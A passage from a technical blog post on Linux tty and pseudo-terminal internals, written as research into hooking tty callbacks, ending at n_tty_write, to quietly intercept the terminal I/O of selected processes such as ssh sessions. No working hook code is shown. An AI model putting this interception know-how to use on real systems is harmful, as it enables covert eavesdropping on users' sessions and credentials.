xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>The important take from here is that the master write path injects data directly into the slave&#8217;s receive path.</p><p>When a program writes to the slave side of a pty, things behave much more like a normal terminal. The write goes through the tty core and the line discipline, and instead of heading to hardware, the data is forwarded to the paired master. From the master&#8217;s point of view, that data simply becomes available to read. This is how output from programs like shells ends up in your terminal emulator: the program writes to the slave, and the emulator reads the result from the master.</p><h2>Reading Data Flow</h2><p>When it comes to reading from a tty, the first thing to understand is that there is no traditional read callback implemented by the driver. Unlike writing, the tty core never calls into the driver asking for data. Instead, the direction is reversed: the driver is responsible for pushing data upward as soon as it arrives from the hardware. Once that data reaches the tty core, the core takes ownership of it and buffers it until a user process asks to read. From that point on, reads are entirely serviced by the tty core. The driver is only indirectly involved, through start and stop notifications that tell it when the user is ready to receive more data or when it should pause transmission.</p><p>Internally, the tty core relies on a buffering mechanism known as the flip buffer. Conceptually, this buffer is split into two alternating data areas. Incoming data from the driver is written into one area while user space reads from the other. When the active buffer fills up, any process waiting on data is woken up and allowed to read, and the roles of the buffers are swapped. This ping-pong arrangement allows input to continue arriving while user space is still consuming previously received data. When the driver has accumulated enough data, or when it wants to force delivery, it calls tty_flip_buffer_push, which tells the tty core that buffered data is ready to be exposed to user space.</p><p>From the driver&#8217;s point of view, feeding data into this mechanism is explicit and incremental. Characters are inserted one by one using tty_insert_flip_char, optionally tagged with a type that describes how the character was received. Most data uses TTY_NORMAL, but other types exist to signal conditions such as breaks, framing errors, parity errors, or overruns. Once enough characters have been queued, or the buffer is full, the driver pushes the buffer so the tty core can wake up readers. If the low_latency flag is set, this push causes the data to be flushed to user space immediately, trading batching for responsiveness. Together, these pieces explain why reading from a tty feels simple from user space, while all the real work happens quietly and asynchronously underneath.</p><h2>Multiplexing and Signaling</h2><p>The easiest way to make sense of ptys is to think of the master side as a multiplexer rather than a normal device. There is only one master device in the system, <code>/dev/ptmx</code>, and every time it is opened the kernel creates a new session. That single open returns a fresh master file descriptor, which is then paired with a newly created slave device under <code>/dev/pts/N</code>. Internally, this is all handled by the pty driver in <code>drivers/tty/pty.c</code>, with <code>ptmx</code> exposed as a character device (major 5, minor 2) and the slave devices managed through the <code>devpts</code> filesystem mounted at <code>/dev/pts</code>.</p><p>What&#8217;s paired here is not two device nodes, but a master file descriptor and a slave tty. Programs like terminal emulators interact only with the master side: they write bytes that simulate user input and read back output coming from the slave. On the other end, applications such as <code>bash</code> are attached directly to the slave tty and read and write as if they were connected to a physical terminal. Even signaling follows this same path. When a user presses Ctrl-C, the terminal emulator sends the raw byte <code>0x03</code> to the master, the tty core forwards it to the slave&#8217;s line discipline, and <code>n_tty</code> turns that byte into a <code>SIGINT</code> for the foreground process group.</p><h2>Map TTYs to Processes</h2><p>Since I am more interested into observing particular sessions, ie specific ssh streams, I would love to see some action. So let&#8217;s map some pseudoterminals to processes.</p><p>Let&#8217;s see a fast way to map processes to ptys using lsof command:</p><pre><code>lsof /dev/pts/*
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
bash    3260 xusr    0u   CHR  136,0      0t0    3 /dev/pts/0
bash    3260 xusr    1u   CHR  136,0      0t0    3 /dev/pts/0
bash    3260 xusr    2u   CHR  136,0      0t0    3 /dev/pts/0
bash    3260 xusr  255u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    0u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    1u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    2u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    4u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    5u   CHR  136,0      0t0    3 /dev/pts/0
ssh     3483 xusr    6u   CHR  136,0      0t0    3 /dev/pts/0
... SNIP ...
bash    3608 xusr  255u   CHR  136,2      0t0    5 /dev/pts/2
lsof    3617 xusr    0u   CHR  136,2      0t0    5 /dev/pts/2
lsof    3617 xusr    1u   CHR  136,2      0t0    5 /dev/pts/2
lsof    3617 xusr    2u   CHR  136,2      0t0    5 /dev/pts/2</code></pre><p>In the above snippet you may observe 3 file descriptors indicating an ssh connection (except the standard ones: stdin, stdout, stderr).</p><p>Why multiple file descriptors? We only have 1 ssh connection - 1 ssh client process.</p><p>This can happen because ssh may duplicate or reopen the slave multiple times for things like:</p><ul><li><p>Session management</p></li><li><p>Terminal echo control</p></li><li><p>Forwarding with non-blocking I/O</p></li><li><p>Event-driven read/write or buffering layers</p></li><li><p>Are usually duplicates of the same underlying inode (i.e., <code>/dev/pts/0</code>), but might have different flags (e.g., non-blocking or close-on-exec)</p></li><li><p>more</p></li></ul><p>If you are more interested into the internal kernel structures that reveals the processes of the tty: Next into the article, we shall see the tty_struct structure; there, the session and pgrp might be sound familiar, its the process session and the process group.</p><h2>Listing PTS devices and drivers</h2><p>At this phase we would love to really sneak into and see the existing pts devices and the various tty drivers.</p><p>To list all pseudo-terminals:</p><pre><code>ls -l /dev/pts/
total 0
crw--w---- 1 xusr tty  136, 0 Jun 23 00:10 0
crw--w---- 1 xusr tty  136, 1 Jun 23 00:29 1
crw--w---- 1 xusr tty  136, 2 Jun 23 00:31 2
crw--w---- 1 xusr tty  136, 3 Jun 23 00:34 3
c--------- 1 root root   5, 2 Jun 22 22:15 ptmx

Same with ps (ssh client connected to ssh server which sits on the same machine).

ps -e -o pid,tty,cmd | grep pts
 3260 pts/0    bash
 3483 pts/0    ssh xusr@localhost
 3579 ?        sshd: xusr@pts/1
 3580 pts/1    -bash
 3608 pts/2    bash
 3686 pts/2    ps -e -o pid,tty,cmd
 3687 pts/2    grep --color=auto pts</code></pre><h2>The structs &amp; the wrong paths</h2><p>There is a very special and important structure when talking about ttys in linux kernel, which is the tty_struct structure. The tty_struct is where the tty&#8217;s state really lives and is effectively bound to a specific device instance. Every tty device has exactly one <code>tty_struct</code>; there is no tty without it. The real challenge, and the key to leveraging this in practice, is figuring out where these structures can be found and how they can be used to our advantage.</p><p>Now take a look into the struct tty_struct:</p><pre><code>struct tty_struct {
    struct kref kref;
    int index;
    struct device *dev;
    struct tty_driver *driver;
    struct tty_port *port;
    const struct tty_operations *ops;
    struct tty_ldisc *ldisc;
    struct ld_semaphore ldisc_sem;
    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    struct ktermios termios, termios_locked;
    char name[64];
    unsigned long flags;
    int count;
    unsigned int receive_room;
    struct winsize winsize;
    struct {
        spinlock_t lock;
        bool stopped;
        bool tco_stopped;
    } flow;
    struct {
        struct pid *pgrp;
        struct pid *session;
        spinlock_t lock;
        unsigned char pktstatus;
        bool packet;
    } ctrl;
    bool hw_stopped;
    bool closing;
    int flow_change;
    struct tty_struct *link;
    struct fasync_struct *fasync;
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    spinlock_t files_lock;
    int write_cnt;
    u8 *write_buf;
    struct list_head tty_files;
    struct work_struct SAK_work;
};</code></pre><p>There are a lot of properties that we could explore and talk about here. However, to keep the article short, I concentrated on:</p><ul><li><p>ldisc - a line discipline reference.</p></li><li><p>ops - file operation callbacks.</p></li><li><p>link - double cirtcular linked list with all driver&#8217;s tty_struct structures.</p></li><li><p>driver - a reference to the driver of the current tty_struct.</p></li></ul><p>I ended up focusing on pseudo-terminals, or ptys, because they sit at a particularly interesting crossroads in the tty subsystem. In a pty pair, data is written to the master side, and the tty core quietly forwards it to the matching slave, making the two ends behave exactly like a real terminal connection even though everything is happening in software.</p><p>At this stage, the goal was not to hook system calls across the entire system, but to follow the read and write paths of a single tty instance. By narrowing the scope to one pty session and working at the driver level, it becomes possible to observe a single connection in isolation. That approach is both more precise and far less noisy than intercepting syscalls globally.</p><p>Digging into the implementation also highlights how different ptys are from statically registered ttys. Ptys are created dynamically, on demand, which means the <code>tty</code> and <code>ports</code> fields in the <code>tty_driver</code> structure are never populated for them. Those fields only make sense for static devices, and seeing them as NULL in the pty case is a concrete reminder that ptys live and die entirely at runtime.</p><p>That&#8217;s what tty_operation struct looks like</p><pre><code>struct tty_operations {
&#9;struct tty_struct * (*lookup)(struct tty_driver *driver,
&#9;&#9;&#9;struct file *filp, int idx);
&#9;int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
&#9;void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
&#9;int  (*open)(struct tty_struct * tty, struct file * filp);
&#9;void (*close)(struct tty_struct * tty, struct file * filp);
&#9;void (*shutdown)(struct tty_struct *tty);
&#9;void (*cleanup)(struct tty_struct *tty);
&#9;int  (*write)(struct tty_struct * tty,
&#9;&#9;      const unsigned char *buf, int count);
&#9;int  (*put_char)(struct tty_struct *tty, unsigned char ch);
&#9;void (*flush_chars)(struct tty_struct *tty);
&#9;int  (*write_room)(struct tty_struct *tty);
&#9;int  (*chars_in_buffer)(struct tty_struct *tty);
&#9;int  (*ioctl)(struct tty_struct *tty,
&#9;&#9;    unsigned int cmd, unsigned long arg);
&#9;long (*compat_ioctl)(struct tty_struct *tty,
&#9;&#9;&#9;     unsigned int cmd, unsigned long arg);
&#9;void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
&#9;void (*throttle)(struct tty_struct * tty);
&#9;void (*unthrottle)(struct tty_struct * tty);
&#9;void (*stop)(struct tty_struct *tty);
&#9;void (*start)(struct tty_struct *tty);
&#9;void (*hangup)(struct tty_struct *tty);
&#9;int (*break_ctl)(struct tty_struct *tty, int state);
&#9;void (*flush_buffer)(struct tty_struct *tty);
&#9;void (*set_ldisc)(struct tty_struct *tty);
&#9;void (*wait_until_sent)(struct tty_struct *tty, int timeout);
&#9;void (*send_xchar)(struct tty_struct *tty, char ch);
&#9;int (*tiocmget)(struct tty_struct *tty);
&#9;int (*tiocmset)(struct tty_struct *tty,
&#9;&#9;&#9;unsigned int set, unsigned int clear);
&#9;int (*resize)(struct tty_struct *tty, struct winsize *ws);
&#9;int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
&#9;int (*get_icount)(struct tty_struct *tty,
&#9;&#9;&#9;&#9;struct serial_icounter_struct *icount);
&#9;int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
&#9;int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
&#9;void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
&#9;int (*poll_init)(struct tty_driver *driver, int line, char *options);
&#9;int (*poll_get_char)(struct tty_driver *driver, int line);
&#9;void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
&#9;int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;</code></pre><p>My initial goal was straightforward, at least on paper: find the <code>tty_operations</code> structure of a specific pty through its <code>tty_struct</code>, replace the original function pointer with my own, and let everything else continue as normal. If you can get to that structure cleanly, the rest is just mechanics. The real problem turned out to be getting there in the first place.</p><p>The obvious approach was to start from what the kernel already exposes. I looked at the two-dimensional array behind the <code>ttys</code> field, tried walking global helpers like <code>tty_driver_lookup_tty</code>, poked at the pty driver lists, and even experimented with paths like <code>tty_find_polling_driver</code>. Each attempt ran into a different wall: missing context, internal assumptions, or structures that simply weren&#8217;t accessible in the way I needed. Pulling ttys from the current driver was also a dead end, since that only ever gives you the devices owned by that driver, effectively, you end up observing the ttys you created yourself.</p><p>On top of all that, there&#8217;s the reality that the kernel is a fragile and heavily shared environment, and the tty subsystem is used everywhere. Touching these structures safely means taking the right locks, and those locks are meant for internal kernel use only. You can get to them with enough effort, but every extra step adds complexity, risk, and noise. </p><pre><code><code>// under tty_io.c:
DEFINE_MUTEX(tty_mutex);</code></code></pre><p>I then started observing the driver struct.</p><pre><code>struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/tty_driver">tty_driver</a> {
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/kref">kref</a> <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/kref">kref</a>;
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/cdev">cdev</a> **<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/cdevs">cdevs</a>;
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/module">module</a>&#9;*<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/owner">owner</a>;
&#9;const char&#9;*<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/driver_name">driver_name</a>;
&#9;const char&#9;*name;
&#9;int&#9;<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/name_base">name_base</a>;
&#9;int&#9;<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/major">major</a>;
&#9;int&#9;<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/minor_start">minor_start</a>;
&#9;unsigned int&#9;<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/num">num</a>;
&#9;enum <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/tty_driver_type">tty_driver_type</a> type;
&#9;enum <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/tty_driver_subtype">tty_driver_subtype</a> <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/subtype">subtype</a>;
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/ktermios">ktermios</a> <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/init_termios">init_termios</a>;
&#9;unsigned long&#9;flags;
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/proc_dir_entry">proc_dir_entry</a> *<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/proc_entry">proc_entry</a>;
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/tty_driver">tty_driver</a> *<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/other">other</a>;

&#9;/*
&#9; * Pointer to the tty data structures
&#9; */
&#9;struct <a href="https://elixir.bootlin.com/linux/v6.17/C/ident/tty_struct">tty_struct</a> **<a href="https://elixir.bootlin.com/linux/v6.17/C/ident/ttys">ttys</a>;
            ... SNIP ...</code></pre><p>As you may observe, the tty_struct has a way to navigate all tty_structs.</p><p>By running a small tty driver, getting my own driver&#8217;s tty_struct and iterating over the linked list I was able to navigate that list. My goal was to find out all the other driver structures, and then having a hope that each structure would hold a tty_structs which would then hold the callback structures, pointing to the original functions. I would then be able to replace the callback functions with my own functions - therefore intercepting candidate ops functions. Since the tty_struct is directly linked to the process structure, then I could easily filter out specific processes. Therefore, sneaking only to the I/O of selected processes. </p><p>I accessed all the drivers but not specific devices, and no tty ops were available for any of the structures found (were null). My guess is that drivers also hold a tty_struct of their own (?)!</p><pre><code>[ 3848.364475] Walking forward from tty_driver: ttty
[ 3848.364485] Next driver: ttyprintk (major: 5) (type: 2, subtype: 0)
[ 3848.364491] Next driver: ttyMAX (major: 204) (type: 3, subtype: 1)
[ 3848.364497] Next driver: ttyS (major: 4) (type: 3, subtype: 1)
[ 3848.364503] Next driver: pts (major: 136) (type: 4, subtype: 2)
[ 3848.364510] Next driver: ptm (major: 128) (type: 4, subtype: 1)
[ 3848.364516] Next driver: tty (major: 4) (type: 2, subtype: 0)
[ 3848.364522] Next driver: tty_mutex.wait_lock (major: 0) (type: 0, subtype: 0)</code></pre><p>It is important to see the pts (pseudoterminal slave) and ptm (pseudoterminal master) to confirm their subtypes during runtime, subtype 1 and 2. So their drivers pts and ptm respond as should and hold the structures we would like to iterate. One hint is that their port (devices) could hold the device tty_struct structures. However, the ports were found to be null, means the devices are dynamically calculated and ports are used only when generating devices statically.</p><p>Even though monitoring tty ops at a glance seems like not a very stealthy method, however, is not noisy as a read or write syscall hook is.</p><blockquote><p>By using the term &#8220;ops&#8221; or &#8220;tty_operations&#8221;, I refer to a special structure that is used and linked by various structures of the tty subsysytem which olds the callback functions of the actual drivier handling the input/output operations of every device.</p></blockquote><h2>Selecting a different (wrong) target</h2><p>As I continued digging, I eventually came across a concrete instance of a <code>tty_operations</code> structure called <code>master_pty_ops_bsd</code>. That immediately stood out as a promising candidate, because this was no longer an abstract interface but a real, live operations table used by pty masters. Looking at it more closely, it exposed exactly the callbacks you would expect to matter in this context, including <code>write</code> and <code>write_room</code>. And, just as discussed earlier, there was no <code>read</code> callback in sight - a quiet confirmation that ptys follow the same push-based read model as the rest of the tty subsystem. At that point, the problem started to feel less theoretical and more tangible: there was finally something real to grab onto.</p><pre><code>/*
 * The master side of a pty can do TIOCSPTLCK and thus
 * has pty_bsd_ioctl.
 */
static const struct tty_operations master_pty_ops_bsd = {
&#9;.install = pty_install,
&#9;.open = pty_open,
&#9;.close = pty_close,
&#9;.write = pty_write,
&#9;.write_room = pty_write_room,
&#9;.flush_buffer = pty_flush_buffer,
&#9;.chars_in_buffer = pty_chars_in_buffer,
&#9;.unthrottle = pty_unthrottle,
&#9;.ioctl = pty_bsd_ioctl,
&#9;.compat_ioctl = pty_bsd_compat_ioctl,
&#9;.cleanup = pty_cleanup,
&#9;.resize = pty_resize,
&#9;.remove = pty_remove
};

static const struct tty_operations slave_pty_ops_bsd = {
&#9;.install = pty_install,
&#9;.open = pty_open,
&#9;.close = pty_close,
&#9;.write = pty_write,
&#9;.write_room = pty_write_room,
&#9;.flush_buffer = pty_flush_buffer,
&#9;.chars_in_buffer = pty_chars_in_buffer,
&#9;.unthrottle = pty_unthrottle,
&#9;.set_termios = pty_set_termios,
&#9;.cleanup = pty_cleanup,
&#9;.resize = pty_resize,
&#9;.start = pty_start,
&#9;.stop = pty_stop,
&#9;.remove = pty_remove
};

static const struct tty_operations pty_ops = {
    .open  = pty_open,
    .close = pty_close,
    .write = pty_write,
    ...
};</code></pre><p>That optimism didn&#8217;t last very long. After tracing it further, I realized that these <code>tty_operations</code> structures live in the <code>.rodata</code> section, which means their contents are read-only and can&#8217;t be modified at runtime. At first, it looked like there might still be a way forward: the operations table appears to be associated with the <code>tty_driver</code> structure, so replacing the entire structure sounded like a possible workaround. But checking the pointers at runtime quickly killed that idea as well. For both <code>pty_master</code> and <code>pty_slave</code>, the operations pointer in the driver turns out to be NULL, because ptys don&#8217;t wire things up that way. With no writable operations table and no driver-level indirection to hijack, I was right back where I started &#8212; staring into the dark again.</p><p>According to tty_io.c:</p><pre><code>void tty_set_operations(struct tty_driver *driver, const struct tty_operations *op)
{
      driver-&gt;ops = op;
};
EXPORT_SYMBOL(tty_set_operations);</code></pre><p>According to a dynamic scan I performed:</p><pre><code>[ 2938.111208] Next driver: pts (major: 136, minor_start: 0) (type: 4, subtype: 2) num: 1048576 [-]
[ 2938.111211] -&gt; *ports = empty
[ 2938.111216] Next driver: ptm (major: 128, minor_start: 0) (type: 4, subtype: 1) num: 1048576 [-]</code></pre><p>The symbol [-] indicates there is no tty ops structure registered. The symbol [O] would indicate that there is a registered tty_operations structure available. Therefore, as you may see, no luck here.</p><p>I then concentrated on the line discipline component. It seems the tty_operation structure of line discipline is not constant but only static.</p><pre><code>static struct tty_ldisc_ops n_tty_ops = {
&#9;.magic           = TTY_LDISC_MAGIC,
&#9;.name            = &#8220;n_tty&#8221;,
&#9;.open            = n_tty_open,
&#9;.close           = n_tty_close,
&#9;.flush_buffer    = n_tty_flush_buffer,
&#9;.read            = n_tty_read,
&#9;.write           = n_tty_write,
&#9;.ioctl           = n_tty_ioctl,
&#9;.set_termios     = n_tty_set_termios,
&#9;.poll            = n_tty_poll,
&#9;.receive_buf     = n_tty_receive_buf,
&#9;.write_wakeup    = n_tty_write_wakeup,
&#9;.receive_buf2&#9; = n_tty_receive_buf2,
};</code></pre><p>The line discipline is a middleware component, so it seems like a good fit. This structure seems to have good candidate functions which are used by the core component, therefore used by both master and slave.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uaWz!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uaWz!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 424w, https://substackcdn.com/image/fetch/$s_!uaWz!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 848w, https://substackcdn.com/image/fetch/$s_!uaWz!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 1272w, https://substackcdn.com/image/fetch/$s_!uaWz!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uaWz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png" width="700" height="619" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:619,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73791,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uaWz!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 424w, https://substackcdn.com/image/fetch/$s_!uaWz!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 848w, https://substackcdn.com/image/fetch/$s_!uaWz!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 1272w, https://substackcdn.com/image/fetch/$s_!uaWz!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F662bdc30-c230-453e-88a8-63dd2a77ff5e_700x619.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This is confirmed that its in the data section (d) while the structure of pty driver is in rodata section (r):</p><pre><code>cat /proc/kallsyms | grep n_tty_ops
ffffffff89a61d20 d n_tty_ops
... SNIP ...
ffffffff88932a80 r slave_pty_ops_bsd</code></pre><p>Even though line discipline seemed like a good choice, I wanted to go just a bit deeper, explore how everything works and maybe I find a better hook-point.</p><p>Therefore, I started mapping how each function flows through the process of user write on the slave.</p><h2>Finding the final path</h2><p>By exploring each function in detail, I ended-up that the &#8220;n_tty_write&#8221; function is a good candidte to hook. Instead of replacing the function&#8217;s address, let&#8217;s hook the function itself.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!UgRa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UgRa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 424w, https://substackcdn.com/image/fetch/$s_!UgRa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 848w, https://substackcdn.com/image/fetch/$s_!UgRa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 1272w, https://substackcdn.com/image/fetch/$s_!UgRa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UgRa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png" width="559" height="1494" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1494,&quot;width&quot;:559,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:86908,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.cybervelia.com/i/186733350?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UgRa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 424w, https://substackcdn.com/image/fetch/$s_!UgRa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 848w, https://substackcdn.com/image/fetch/$s_!UgRa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3ba78005-5c67-46f2-a5f5-003df84b19b1_559x1494.png 1272w, 